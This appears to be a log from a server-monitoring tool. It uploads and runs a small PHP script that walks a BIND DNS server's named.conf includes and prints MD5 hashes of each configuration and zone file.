MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:35:21: Establishing a connection
2026-04-30 17:35:21: 

PUT: /tmp/pkp332912

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:35:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp332912; rm /tmp/pkp332912'

2026-04-30 17:35:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:35:24: Establishing a connection
